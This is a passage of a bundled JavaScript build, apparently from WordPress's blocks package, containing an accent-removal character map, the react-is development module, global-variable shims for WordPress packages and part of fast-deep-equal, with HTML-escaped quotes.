        &quot;\u1EEE&quot;: &quot;U&quot;,
        &quot;\u1EF0&quot;: &quot;U&quot;,
        &quot;\xDD&quot;: &quot;Y&quot;,
        &quot;\xE0&quot;: &quot;a&quot;,
        &quot;\xE1&quot;: &quot;a&quot;,
        &quot;\xE2&quot;: &quot;a&quot;,
        &quot;\xE3&quot;: &quot;a&quot;,
        &quot;\xE4&quot;: &quot;a&quot;,
        &quot;\xE5&quot;: &quot;a&quot;,
        &quot;\u1EA5&quot;: &quot;a&quot;,
        &quot;\u1EAF&quot;: &quot;a&quot;,
        &quot;\u1EB3&quot;: &quot;a&quot;,
        &quot;\u1EB5&quot;: &quot;a&quot;,
        &quot;\u1EB7&quot;: &quot;a&quot;,
        &quot;\xE6&quot;: &quot;ae&quot;,
        &quot;\u1EA7&quot;: &quot;a&quot;,
        &quot;\u1EB1&quot;: &quot;a&quot;,
        &quot;\u0203&quot;: &quot;a&quot;,
        &quot;\u1EA3&quot;: &quot;a&quot;,
        &quot;\u1EA1&quot;: &quot;a&quot;,
        &quot;\u1EA9&quot;: &quot;a&quot;,
        &quot;\u1EAB&quot;: &quot;a&quot;,
        &quot;\u1EAD&quot;: &quot;a&quot;,
        &quot;\xE7&quot;: &quot;c&quot;,
        &quot;\u1E09&quot;: &quot;c&quot;,
        &quot;\xE8&quot;: &quot;e&quot;,
        &quot;\xE9&quot;: &quot;e&quot;,
        &quot;\xEA&quot;: &quot;e&quot;,
        &quot;\xEB&quot;: &quot;e&quot;,
        &quot;\u1EBF&quot;: &quot;e&quot;,
        &quot;\u1E17&quot;: &quot;e&quot;,
        &quot;\u1EC1&quot;: &quot;e&quot;,
        &quot;\u1E15&quot;: &quot;e&quot;,
        &quot;\u1E1D&quot;: &quot;e&quot;,
        &quot;\u0207&quot;: &quot;e&quot;,
        &quot;\u1EBB&quot;: &quot;e&quot;,
        &quot;\u1EBD&quot;: &quot;e&quot;,
        &quot;\u1EB9&quot;: &quot;e&quot;,
        &quot;\u1EC3&quot;: &quot;e&quot;,
        &quot;\u1EC5&quot;: &quot;e&quot;,
        &quot;\u1EC7&quot;: &quot;e&quot;,
        &quot;\xEC&quot;: &quot;i&quot;,
        &quot;\xED&quot;: &quot;i&quot;,
        &quot;\xEE&quot;: &quot;i&quot;,
        &quot;\xEF&quot;: &quot;i&quot;,
        &quot;\u1E2F&quot;: &quot;i&quot;,
        &quot;\u020B&quot;: &quot;i&quot;,
        &quot;\u1EC9&quot;: &quot;i&quot;,
        &quot;\u1ECB&quot;: &quot;i&quot;,
        &quot;\xF0&quot;: &quot;d&quot;,
        &quot;\xF1&quot;: &quot;n&quot;,
        &quot;\xF2&quot;: &quot;o&quot;,
        &quot;\xF3&quot;: &quot;o&quot;,
        &quot;\xF4&quot;: &quot;o&quot;,
        &quot;\xF5&quot;: &quot;o&quot;,
        &quot;\xF6&quot;: &quot;o&quot;,
        &quot;\xF8&quot;: &quot;o&quot;,
        &quot;\u1ED1&quot;: &quot;o&quot;,
        &quot;\u1E4D&quot;: &quot;o&quot;,
        &quot;\u1E53&quot;: &quot;o&quot;,
        &quot;\u020F&quot;: &quot;o&quot;,
        &quot;\u1ECF&quot;: &quot;o&quot;,
        &quot;\u1ECD&quot;: &quot;o&quot;,
        &quot;\u1ED5&quot;: &quot;o&quot;,
        &quot;\u1ED7&quot;: &quot;o&quot;,
        &quot;\u1ED9&quot;: &quot;o&quot;,
        &quot;\u1EDD&quot;: &quot;o&quot;,
        &quot;\u1EDF&quot;: &quot;o&quot;,
        &quot;\u1EE1&quot;: &quot;o&quot;,
        &quot;\u1EDB&quot;: &quot;o&quot;,
        &quot;\u1EE3&quot;: &quot;o&quot;,
        &quot;\xF9&quot;: &quot;u&quot;,
        &quot;\xFA&quot;: &quot;u&quot;,
        &quot;\xFB&quot;: &quot;u&quot;,
        &quot;\xFC&quot;: &quot;u&quot;,
        &quot;\u1EE7&quot;: &quot;u&quot;,
        &quot;\u1EE5&quot;: &quot;u&quot;,
        &quot;\u1EED&quot;: &quot;u&quot;,
        &quot;\u1EEF&quot;: &quot;u&quot;,
        &quot;\u1EF1&quot;: &quot;u&quot;,
        &quot;\xFD&quot;: &quot;y&quot;,
        &quot;\xFF&quot;: &quot;y&quot;,
        &quot;\u0100&quot;: &quot;A&quot;,
        &quot;\u0101&quot;: &quot;a&quot;,
        &quot;\u0102&quot;: &quot;A&quot;,
        &quot;\u0103&quot;: &quot;a&quot;,
        &quot;\u0104&quot;: &quot;A&quot;,
        &quot;\u0105&quot;: &quot;a&quot;,
        &quot;\u0106&quot;: &quot;C&quot;,
        &quot;\u0107&quot;: &quot;c&quot;,
        &quot;\u0108&quot;: &quot;C&quot;,
        &quot;\u0109&quot;: &quot;c&quot;,
        &quot;\u010A&quot;: &quot;C&quot;,
        &quot;\u010B&quot;: &quot;c&quot;,
        &quot;\u010C&quot;: &quot;C&quot;,
        &quot;\u010D&quot;: &quot;c&quot;,
        &quot;C\u0306&quot;: &quot;C&quot;,
        &quot;c\u0306&quot;: &quot;c&quot;,
        &quot;\u010E&quot;: &quot;D&quot;,
        &quot;\u010F&quot;: &quot;d&quot;,
        &quot;\u0110&quot;: &quot;D&quot;,
        &quot;\u0111&quot;: &quot;d&quot;,
        &quot;\u0112&quot;: &quot;E&quot;,
        &quot;\u0113&quot;: &quot;e&quot;,
        &quot;\u0114&quot;: &quot;E&quot;,
        &quot;\u0115&quot;: &quot;e&quot;,
        &quot;\u0116&quot;: &quot;E&quot;,
        &quot;\u0117&quot;: &quot;e&quot;,
        &quot;\u0118&quot;: &quot;E&quot;,
        &quot;\u0119&quot;: &quot;e&quot;,
        &quot;\u011A&quot;: &quot;E&quot;,
        &quot;\u011B&quot;: &quot;e&quot;,
        &quot;\u011C&quot;: &quot;G&quot;,
        &quot;\u01F4&quot;: &quot;G&quot;,
        &quot;\u011D&quot;: &quot;g&quot;,
        &quot;\u01F5&quot;: &quot;g&quot;,
        &quot;\u011E&quot;: &quot;G&quot;,
        &quot;\u011F&quot;: &quot;g&quot;,
        &quot;\u0120&quot;: &quot;G&quot;,
        &quot;\u0121&quot;: &quot;g&quot;,
        &quot;\u0122&quot;: &quot;G&quot;,
        &quot;\u0123&quot;: &quot;g&quot;,
        &quot;\u0124&quot;: &quot;H&quot;,
        &quot;\u0125&quot;: &quot;h&quot;,
        &quot;\u0126&quot;: &quot;H&quot;,
        &quot;\u0127&quot;: &quot;h&quot;,
        &quot;\u1E2A&quot;: &quot;H&quot;,
        &quot;\u1E2B&quot;: &quot;h&quot;,
        &quot;\u0128&quot;: &quot;I&quot;,
        &quot;\u0129&quot;: &quot;i&quot;,
        &quot;\u012A&quot;: &quot;I&quot;,
        &quot;\u012B&quot;: &quot;i&quot;,
        &quot;\u012C&quot;: &quot;I&quot;,
        &quot;\u012D&quot;: &quot;i&quot;,
        &quot;\u012E&quot;: &quot;I&quot;,
        &quot;\u012F&quot;: &quot;i&quot;,
        &quot;\u0130&quot;: &quot;I&quot;,
        &quot;\u0131&quot;: &quot;i&quot;,
        &quot;\u0132&quot;: &quot;IJ&quot;,
        &quot;\u0133&quot;: &quot;ij&quot;,
        &quot;\u0134&quot;: &quot;J&quot;,
        &quot;\u0135&quot;: &quot;j&quot;,
        &quot;\u0136&quot;: &quot;K&quot;,
        &quot;\u0137&quot;: &quot;k&quot;,
        &quot;\u1E30&quot;: &quot;K&quot;,
        &quot;\u1E31&quot;: &quot;k&quot;,
        &quot;K\u0306&quot;: &quot;K&quot;,
        &quot;k\u0306&quot;: &quot;k&quot;,
        &quot;\u0139&quot;: &quot;L&quot;,
        &quot;\u013A&quot;: &quot;l&quot;,
        &quot;\u013B&quot;: &quot;L&quot;,
        &quot;\u013C&quot;: &quot;l&quot;,
        &quot;\u013D&quot;: &quot;L&quot;,
        &quot;\u013E&quot;: &quot;l&quot;,
        &quot;\u013F&quot;: &quot;L&quot;,
        &quot;\u0140&quot;: &quot;l&quot;,
        &quot;\u0141&quot;: &quot;l&quot;,
        &quot;\u0142&quot;: &quot;l&quot;,
        &quot;\u1E3E&quot;: &quot;M&quot;,
        &quot;\u1E3F&quot;: &quot;m&quot;,
        &quot;M\u0306&quot;: &quot;M&quot;,
        &quot;m\u0306&quot;: &quot;m&quot;,
        &quot;\u0143&quot;: &quot;N&quot;,
        &quot;\u0144&quot;: &quot;n&quot;,
        &quot;\u0145&quot;: &quot;N&quot;,
        &quot;\u0146&quot;: &quot;n&quot;,
        &quot;\u0147&quot;: &quot;N&quot;,
        &quot;\u0148&quot;: &quot;n&quot;,
        &quot;\u0149&quot;: &quot;n&quot;,
        &quot;N\u0306&quot;: &quot;N&quot;,
        &quot;n\u0306&quot;: &quot;n&quot;,
        &quot;\u014C&quot;: &quot;O&quot;,
        &quot;\u014D&quot;: &quot;o&quot;,
        &quot;\u014E&quot;: &quot;O&quot;,
        &quot;\u014F&quot;: &quot;o&quot;,
        &quot;\u0150&quot;: &quot;O&quot;,
        &quot;\u0151&quot;: &quot;o&quot;,
        &quot;\u0152&quot;: &quot;OE&quot;,
        &quot;\u0153&quot;: &quot;oe&quot;,
        &quot;P\u0306&quot;: &quot;P&quot;,
        &quot;p\u0306&quot;: &quot;p&quot;,
        &quot;\u0154&quot;: &quot;R&quot;,
        &quot;\u0155&quot;: &quot;r&quot;,
        &quot;\u0156&quot;: &quot;R&quot;,
        &quot;\u0157&quot;: &quot;r&quot;,
        &quot;\u0158&quot;: &quot;R&quot;,
        &quot;\u0159&quot;: &quot;r&quot;,
        &quot;R\u0306&quot;: &quot;R&quot;,
        &quot;r\u0306&quot;: &quot;r&quot;,
        &quot;\u0212&quot;: &quot;R&quot;,
        &quot;\u0213&quot;: &quot;r&quot;,
        &quot;\u015A&quot;: &quot;S&quot;,
        &quot;\u015B&quot;: &quot;s&quot;,
        &quot;\u015C&quot;: &quot;S&quot;,
        &quot;\u015D&quot;: &quot;s&quot;,
        &quot;\u015E&quot;: &quot;S&quot;,
        &quot;\u0218&quot;: &quot;S&quot;,
        &quot;\u0219&quot;: &quot;s&quot;,
        &quot;\u015F&quot;: &quot;s&quot;,
        &quot;\u0160&quot;: &quot;S&quot;,
        &quot;\u0161&quot;: &quot;s&quot;,
        &quot;\u0162&quot;: &quot;T&quot;,
        &quot;\u0163&quot;: &quot;t&quot;,
        &quot;\u021B&quot;: &quot;t&quot;,
        &quot;\u021A&quot;: &quot;T&quot;,
        &quot;\u0164&quot;: &quot;T&quot;,
        &quot;\u0165&quot;: &quot;t&quot;,
        &quot;\u0166&quot;: &quot;T&quot;,
        &quot;\u0167&quot;: &quot;t&quot;,
        &quot;T\u0306&quot;: &quot;T&quot;,
        &quot;t\u0306&quot;: &quot;t&quot;,
        &quot;\u0168&quot;: &quot;U&quot;,
        &quot;\u0169&quot;: &quot;u&quot;,
        &quot;\u016A&quot;: &quot;U&quot;,
        &quot;\u016B&quot;: &quot;u&quot;,
        &quot;\u016C&quot;: &quot;U&quot;,
        &quot;\u016D&quot;: &quot;u&quot;,
        &quot;\u016E&quot;: &quot;U&quot;,
        &quot;\u016F&quot;: &quot;u&quot;,
        &quot;\u0170&quot;: &quot;U&quot;,
        &quot;\u0171&quot;: &quot;u&quot;,
        &quot;\u0172&quot;: &quot;U&quot;,
        &quot;\u0173&quot;: &quot;u&quot;,
        &quot;\u0216&quot;: &quot;U&quot;,
        &quot;\u0217&quot;: &quot;u&quot;,
        &quot;V\u0306&quot;: &quot;V&quot;,
        &quot;v\u0306&quot;: &quot;v&quot;,
        &quot;\u0174&quot;: &quot;W&quot;,
        &quot;\u0175&quot;: &quot;w&quot;,
        &quot;\u1E82&quot;: &quot;W&quot;,
        &quot;\u1E83&quot;: &quot;w&quot;,
        &quot;X\u0306&quot;: &quot;X&quot;,
        &quot;x\u0306&quot;: &quot;x&quot;,
        &quot;\u0176&quot;: &quot;Y&quot;,
        &quot;\u0177&quot;: &quot;y&quot;,
        &quot;\u0178&quot;: &quot;Y&quot;,
        &quot;Y\u0306&quot;: &quot;Y&quot;,
        &quot;y\u0306&quot;: &quot;y&quot;,
        &quot;\u0179&quot;: &quot;Z&quot;,
        &quot;\u017A&quot;: &quot;z&quot;,
        &quot;\u017B&quot;: &quot;Z&quot;,
        &quot;\u017C&quot;: &quot;z&quot;,
        &quot;\u017D&quot;: &quot;Z&quot;,
        &quot;\u017E&quot;: &quot;z&quot;,
        &quot;\u017F&quot;: &quot;s&quot;,
        &quot;\u0192&quot;: &quot;f&quot;,
        &quot;\u01A0&quot;: &quot;O&quot;,
        &quot;\u01A1&quot;: &quot;o&quot;,
        &quot;\u01AF&quot;: &quot;U&quot;,
        &quot;\u01B0&quot;: &quot;u&quot;,
        &quot;\u01CD&quot;: &quot;A&quot;,
        &quot;\u01CE&quot;: &quot;a&quot;,
        &quot;\u01CF&quot;: &quot;I&quot;,
        &quot;\u01D0&quot;: &quot;i&quot;,
        &quot;\u01D1&quot;: &quot;O&quot;,
        &quot;\u01D2&quot;: &quot;o&quot;,
        &quot;\u01D3&quot;: &quot;U&quot;,
        &quot;\u01D4&quot;: &quot;u&quot;,
        &quot;\u01D5&quot;: &quot;U&quot;,
        &quot;\u01D6&quot;: &quot;u&quot;,
        &quot;\u01D7&quot;: &quot;U&quot;,
        &quot;\u01D8&quot;: &quot;u&quot;,
        &quot;\u01D9&quot;: &quot;U&quot;,
        &quot;\u01DA&quot;: &quot;u&quot;,
        &quot;\u01DB&quot;: &quot;U&quot;,
        &quot;\u01DC&quot;: &quot;u&quot;,
        &quot;\u1EE8&quot;: &quot;U&quot;,
        &quot;\u1EE9&quot;: &quot;u&quot;,
        &quot;\u1E78&quot;: &quot;U&quot;,
        &quot;\u1E79&quot;: &quot;u&quot;,
        &quot;\u01FA&quot;: &quot;A&quot;,
        &quot;\u01FB&quot;: &quot;a&quot;,
        &quot;\u01FC&quot;: &quot;AE&quot;,
        &quot;\u01FD&quot;: &quot;ae&quot;,
        &quot;\u01FE&quot;: &quot;O&quot;,
        &quot;\u01FF&quot;: &quot;o&quot;,
        &quot;\xDE&quot;: &quot;TH&quot;,
        &quot;\xFE&quot;: &quot;th&quot;,
        &quot;\u1E54&quot;: &quot;P&quot;,
        &quot;\u1E55&quot;: &quot;p&quot;,
        &quot;\u1E64&quot;: &quot;S&quot;,
        &quot;\u1E65&quot;: &quot;s&quot;,
        &quot;X\u0301&quot;: &quot;X&quot;,
        &quot;x\u0301&quot;: &quot;x&quot;,
        &quot;\u0403&quot;: &quot;\u0413&quot;,
        &quot;\u0453&quot;: &quot;\u0433&quot;,
        &quot;\u040C&quot;: &quot;\u041A&quot;,
        &quot;\u045C&quot;: &quot;\u043A&quot;,
        &quot;A\u030B&quot;: &quot;A&quot;,
        &quot;a\u030B&quot;: &quot;a&quot;,
        &quot;E\u030B&quot;: &quot;E&quot;,
        &quot;e\u030B&quot;: &quot;e&quot;,
        &quot;I\u030B&quot;: &quot;I&quot;,
        &quot;i\u030B&quot;: &quot;i&quot;,
        &quot;\u01F8&quot;: &quot;N&quot;,
        &quot;\u01F9&quot;: &quot;n&quot;,
        &quot;\u1ED2&quot;: &quot;O&quot;,
        &quot;\u1ED3&quot;: &quot;o&quot;,
        &quot;\u1E50&quot;: &quot;O&quot;,
        &quot;\u1E51&quot;: &quot;o&quot;,
        &quot;\u1EEA&quot;: &quot;U&quot;,
        &quot;\u1EEB&quot;: &quot;u&quot;,
        &quot;\u1E80&quot;: &quot;W&quot;,
        &quot;\u1E81&quot;: &quot;w&quot;,
        &quot;\u1EF2&quot;: &quot;Y&quot;,
        &quot;\u1EF3&quot;: &quot;y&quot;,
        &quot;\u0200&quot;: &quot;A&quot;,
        &quot;\u0201&quot;: &quot;a&quot;,
        &quot;\u0204&quot;: &quot;E&quot;,
        &quot;\u0205&quot;: &quot;e&quot;,
        &quot;\u0208&quot;: &quot;I&quot;,
        &quot;\u0209&quot;: &quot;i&quot;,
        &quot;\u020C&quot;: &quot;O&quot;,
        &quot;\u020D&quot;: &quot;o&quot;,
        &quot;\u0210&quot;: &quot;R&quot;,
        &quot;\u0211&quot;: &quot;r&quot;,
        &quot;\u0214&quot;: &quot;U&quot;,
        &quot;\u0215&quot;: &quot;u&quot;,
        &quot;B\u030C&quot;: &quot;B&quot;,
        &quot;b\u030C&quot;: &quot;b&quot;,
        &quot;\u010C\u0323&quot;: &quot;C&quot;,
        &quot;\u010D\u0323&quot;: &quot;c&quot;,
        &quot;\xCA\u030C&quot;: &quot;E&quot;,
        &quot;\xEA\u030C&quot;: &quot;e&quot;,
        &quot;F\u030C&quot;: &quot;F&quot;,
        &quot;f\u030C&quot;: &quot;f&quot;,
        &quot;\u01E6&quot;: &quot;G&quot;,
        &quot;\u01E7&quot;: &quot;g&quot;,
        &quot;\u021E&quot;: &quot;H&quot;,
        &quot;\u021F&quot;: &quot;h&quot;,
        &quot;J\u030C&quot;: &quot;J&quot;,
        &quot;\u01F0&quot;: &quot;j&quot;,
        &quot;\u01E8&quot;: &quot;K&quot;,
        &quot;\u01E9&quot;: &quot;k&quot;,
        &quot;M\u030C&quot;: &quot;M&quot;,
        &quot;m\u030C&quot;: &quot;m&quot;,
        &quot;P\u030C&quot;: &quot;P&quot;,
        &quot;p\u030C&quot;: &quot;p&quot;,
        &quot;Q\u030C&quot;: &quot;Q&quot;,
        &quot;q\u030C&quot;: &quot;q&quot;,
        &quot;\u0158\u0329&quot;: &quot;R&quot;,
        &quot;\u0159\u0329&quot;: &quot;r&quot;,
        &quot;\u1E66&quot;: &quot;S&quot;,
        &quot;\u1E67&quot;: &quot;s&quot;,
        &quot;V\u030C&quot;: &quot;V&quot;,
        &quot;v\u030C&quot;: &quot;v&quot;,
        &quot;W\u030C&quot;: &quot;W&quot;,
        &quot;w\u030C&quot;: &quot;w&quot;,
        &quot;X\u030C&quot;: &quot;X&quot;,
        &quot;x\u030C&quot;: &quot;x&quot;,
        &quot;Y\u030C&quot;: &quot;Y&quot;,
        &quot;y\u030C&quot;: &quot;y&quot;,
        &quot;A\u0327&quot;: &quot;A&quot;,
        &quot;a\u0327&quot;: &quot;a&quot;,
        &quot;B\u0327&quot;: &quot;B&quot;,
        &quot;b\u0327&quot;: &quot;b&quot;,
        &quot;\u1E10&quot;: &quot;D&quot;,
        &quot;\u1E11&quot;: &quot;d&quot;,
        &quot;\u0228&quot;: &quot;E&quot;,
        &quot;\u0229&quot;: &quot;e&quot;,
        &quot;\u0190\u0327&quot;: &quot;E&quot;,
        &quot;\u025B\u0327&quot;: &quot;e&quot;,
        &quot;\u1E28&quot;: &quot;H&quot;,
        &quot;\u1E29&quot;: &quot;h&quot;,
        &quot;I\u0327&quot;: &quot;I&quot;,
        &quot;i\u0327&quot;: &quot;i&quot;,
        &quot;\u0197\u0327&quot;: &quot;I&quot;,
        &quot;\u0268\u0327&quot;: &quot;i&quot;,
        &quot;M\u0327&quot;: &quot;M&quot;,
        &quot;m\u0327&quot;: &quot;m&quot;,
        &quot;O\u0327&quot;: &quot;O&quot;,
        &quot;o\u0327&quot;: &quot;o&quot;,
        &quot;Q\u0327&quot;: &quot;Q&quot;,
        &quot;q\u0327&quot;: &quot;q&quot;,
        &quot;U\u0327&quot;: &quot;U&quot;,
        &quot;u\u0327&quot;: &quot;u&quot;,
        &quot;X\u0327&quot;: &quot;X&quot;,
        &quot;x\u0327&quot;: &quot;x&quot;,
        &quot;Z\u0327&quot;: &quot;Z&quot;,
        &quot;z\u0327&quot;: &quot;z&quot;,
        &quot;\u0439&quot;: &quot;\u0438&quot;,
        &quot;\u0419&quot;: &quot;\u0418&quot;,
        &quot;\u0451&quot;: &quot;\u0435&quot;,
        &quot;\u0401&quot;: &quot;\u0415&quot;
      };
      var chars = Object.keys(characterMap).join(&quot;|&quot;);
      var allAccents = new RegExp(chars, &quot;g&quot;);
      var firstAccent = new RegExp(chars, &quot;&quot;);
      function matcher3(match) {
        return characterMap[match];
      }
      var removeAccents2 = function(string) {
        return string.replace(allAccents, matcher3);
      };
      var hasAccents = function(string) {
        return !!string.match(firstAccent);
      };
      module.exports = removeAccents2;
      module.exports.has = hasAccents;
      module.exports.remove = removeAccents2;
    }
  });

  // packages/blocks/node_modules/react-is/cjs/react-is.development.js
  var require_react_is_development = __commonJS({
    &quot;packages/blocks/node_modules/react-is/cjs/react-is.development.js&quot;(exports) {
      &quot;use strict&quot;;
      if (true) {
        (function() {
          &quot;use strict&quot;;
          var REACT_ELEMENT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.element&quot;);
          var REACT_PORTAL_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.portal&quot;);
          var REACT_FRAGMENT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.fragment&quot;);
          var REACT_STRICT_MODE_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.strict_mode&quot;);
          var REACT_PROFILER_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.profiler&quot;);
          var REACT_PROVIDER_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.provider&quot;);
          var REACT_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.context&quot;);
          var REACT_SERVER_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.server_context&quot;);
          var REACT_FORWARD_REF_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.forward_ref&quot;);
          var REACT_SUSPENSE_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.suspense&quot;);
          var REACT_SUSPENSE_LIST_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.suspense_list&quot;);
          var REACT_MEMO_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.memo&quot;);
          var REACT_LAZY_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.lazy&quot;);
          var REACT_OFFSCREEN_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.offscreen&quot;);
          var enableScopeAPI = false;
          var enableCacheElement = false;
          var enableTransitionTracing = false;
          var enableLegacyHidden = false;
          var enableDebugTracing = false;
          var REACT_MODULE_REFERENCE;
          {
            REACT_MODULE_REFERENCE = /* @__PURE__ */ Symbol.for(&quot;react.module.reference&quot;);
          }
          function isValidElementType2(type) {
            if (typeof type === &quot;string&quot; || typeof type === &quot;function&quot;) {
              return true;
            }
            if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCacheElement || enableTransitionTracing) {
              return true;
            }
            if (typeof type === &quot;object&quot; &amp;&amp; type !== null) {
              if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
              // types supported by any Flight configuration anywhere since
              // we don&#039;t know which Flight build this will end up being used
              // with.
              type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== void 0) {
                return true;
              }
            }
            return false;
          }
          function typeOf(object) {
            if (typeof object === &quot;object&quot; &amp;&amp; object !== null) {
              var $$typeof = object.$$typeof;
              switch ($$typeof) {
                case REACT_ELEMENT_TYPE:
                  var type = object.type;
                  switch (type) {
                    case REACT_FRAGMENT_TYPE:
                    case REACT_PROFILER_TYPE:
                    case REACT_STRICT_MODE_TYPE:
                    case REACT_SUSPENSE_TYPE:
                    case REACT_SUSPENSE_LIST_TYPE:
                      return type;
                    default:
                      var $$typeofType = type &amp;&amp; type.$$typeof;
                      switch ($$typeofType) {
                        case REACT_SERVER_CONTEXT_TYPE:
                        case REACT_CONTEXT_TYPE:
                        case REACT_FORWARD_REF_TYPE:
                        case REACT_LAZY_TYPE:
                        case REACT_MEMO_TYPE:
                        case REACT_PROVIDER_TYPE:
                          return $$typeofType;
                        default:
                          return $$typeof;
                      }
                  }
                case REACT_PORTAL_TYPE:
                  return $$typeof;
              }
            }
            return void 0;
          }
          var ContextConsumer = REACT_CONTEXT_TYPE;
          var ContextProvider = REACT_PROVIDER_TYPE;
          var Element = REACT_ELEMENT_TYPE;
          var ForwardRef = REACT_FORWARD_REF_TYPE;
          var Fragment = REACT_FRAGMENT_TYPE;
          var Lazy = REACT_LAZY_TYPE;
          var Memo = REACT_MEMO_TYPE;
          var Portal = REACT_PORTAL_TYPE;
          var Profiler = REACT_PROFILER_TYPE;
          var StrictMode = REACT_STRICT_MODE_TYPE;
          var Suspense = REACT_SUSPENSE_TYPE;
          var SuspenseList = REACT_SUSPENSE_LIST_TYPE;
          var hasWarnedAboutDeprecatedIsAsyncMode = false;
          var hasWarnedAboutDeprecatedIsConcurrentMode = false;
          function isAsyncMode(object) {
            {
              if (!hasWarnedAboutDeprecatedIsAsyncMode) {
                hasWarnedAboutDeprecatedIsAsyncMode = true;
                console[&quot;warn&quot;](&quot;The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 18+.&quot;);
              }
            }
            return false;
          }
          function isConcurrentMode(object) {
            {
              if (!hasWarnedAboutDeprecatedIsConcurrentMode) {
                hasWarnedAboutDeprecatedIsConcurrentMode = true;
                console[&quot;warn&quot;](&quot;The ReactIs.isConcurrentMode() alias has been deprecated, and will be removed in React 18+.&quot;);
              }
            }
            return false;
          }
          function isContextConsumer(object) {
            return typeOf(object) === REACT_CONTEXT_TYPE;
          }
          function isContextProvider(object) {
            return typeOf(object) === REACT_PROVIDER_TYPE;
          }
          function isElement(object) {
            return typeof object === &quot;object&quot; &amp;&amp; object !== null &amp;&amp; object.$$typeof === REACT_ELEMENT_TYPE;
          }
          function isForwardRef(object) {
            return typeOf(object) === REACT_FORWARD_REF_TYPE;
          }
          function isFragment(object) {
            return typeOf(object) === REACT_FRAGMENT_TYPE;
          }
          function isLazy(object) {
            return typeOf(object) === REACT_LAZY_TYPE;
          }
          function isMemo(object) {
            return typeOf(object) === REACT_MEMO_TYPE;
          }
          function isPortal(object) {
            return typeOf(object) === REACT_PORTAL_TYPE;
          }
          function isProfiler(object) {
            return typeOf(object) === REACT_PROFILER_TYPE;
          }
          function isStrictMode(object) {
            return typeOf(object) === REACT_STRICT_MODE_TYPE;
          }
          function isSuspense(object) {
            return typeOf(object) === REACT_SUSPENSE_TYPE;
          }
          function isSuspenseList(object) {
            return typeOf(object) === REACT_SUSPENSE_LIST_TYPE;
          }
          exports.ContextConsumer = ContextConsumer;
          exports.ContextProvider = ContextProvider;
          exports.Element = Element;
          exports.ForwardRef = ForwardRef;
          exports.Fragment = Fragment;
          exports.Lazy = Lazy;
          exports.Memo = Memo;
          exports.Portal = Portal;
          exports.Profiler = Profiler;
          exports.StrictMode = StrictMode;
          exports.Suspense = Suspense;
          exports.SuspenseList = SuspenseList;
          exports.isAsyncMode = isAsyncMode;
          exports.isConcurrentMode = isConcurrentMode;
          exports.isContextConsumer = isContextConsumer;
          exports.isContextProvider = isContextProvider;
          exports.isElement = isElement;
          exports.isForwardRef = isForwardRef;
          exports.isFragment = isFragment;
          exports.isLazy = isLazy;
          exports.isMemo = isMemo;
          exports.isPortal = isPortal;
          exports.isProfiler = isProfiler;
          exports.isStrictMode = isStrictMode;
          exports.isSuspense = isSuspense;
          exports.isSuspenseList = isSuspenseList;
          exports.isValidElementType = isValidElementType2;
          exports.typeOf = typeOf;
        })();
      }
    }
  });

  // packages/blocks/node_modules/react-is/index.js
  var require_react_is = __commonJS({
    &quot;packages/blocks/node_modules/react-is/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      if (false) {
        module.exports = null;
      } else {
        module.exports = require_react_is_development();
      }
    }
  });

  // package-external:@wordpress/hooks
  var require_hooks = __commonJS({
    &quot;package-external:@wordpress/hooks&quot;(exports, module) {
      module.exports = window.wp.hooks;
    }
  });

  // package-external:@wordpress/block-serialization-default-parser
  var require_block_serialization_default_parser = __commonJS({
    &quot;package-external:@wordpress/block-serialization-default-parser&quot;(exports, module) {
      module.exports = window.wp.blockSerializationDefaultParser;
    }
  });

  // package-external:@wordpress/autop
  var require_autop = __commonJS({
    &quot;package-external:@wordpress/autop&quot;(exports, module) {
      module.exports = window.wp.autop;
    }
  });

  // package-external:@wordpress/is-shallow-equal
  var require_is_shallow_equal = __commonJS({
    &quot;package-external:@wordpress/is-shallow-equal&quot;(exports, module) {
      module.exports = window.wp.isShallowEqual;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    &quot;vendor-external:react/jsx-runtime&quot;(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // node_modules/fast-deep-equal/es6/index.js
  var require_es6 = __commonJS({
    &quot;node_modules/fast-deep-equal/es6/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      module.exports = function equal(a2, b2) {
        if (a2 === b2) return true;
        if (a2 &amp;&amp; b2 &amp;&amp; typeof a2 == &quot;object&quot; &amp;&amp; typeof b2 == &quot;object&quot;) {
          if (a2.constructor !== b2.constructor) return false;
          var length, i2, keys;
          if (Array.isArray(a2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (!equal(a2[i2], b2[i2])) return false;
            return true;
          }
          if (a2 instanceof Map &amp;&amp; b2 instanceof Map) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            for (i2 of a2.entries())
              if (!equal(i2[1], b2.get(i2[0]))) return false;
            return true;
          }
          if (a2 instanceof Set &amp;&amp; b2 instanceof Set) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            return true;
          }
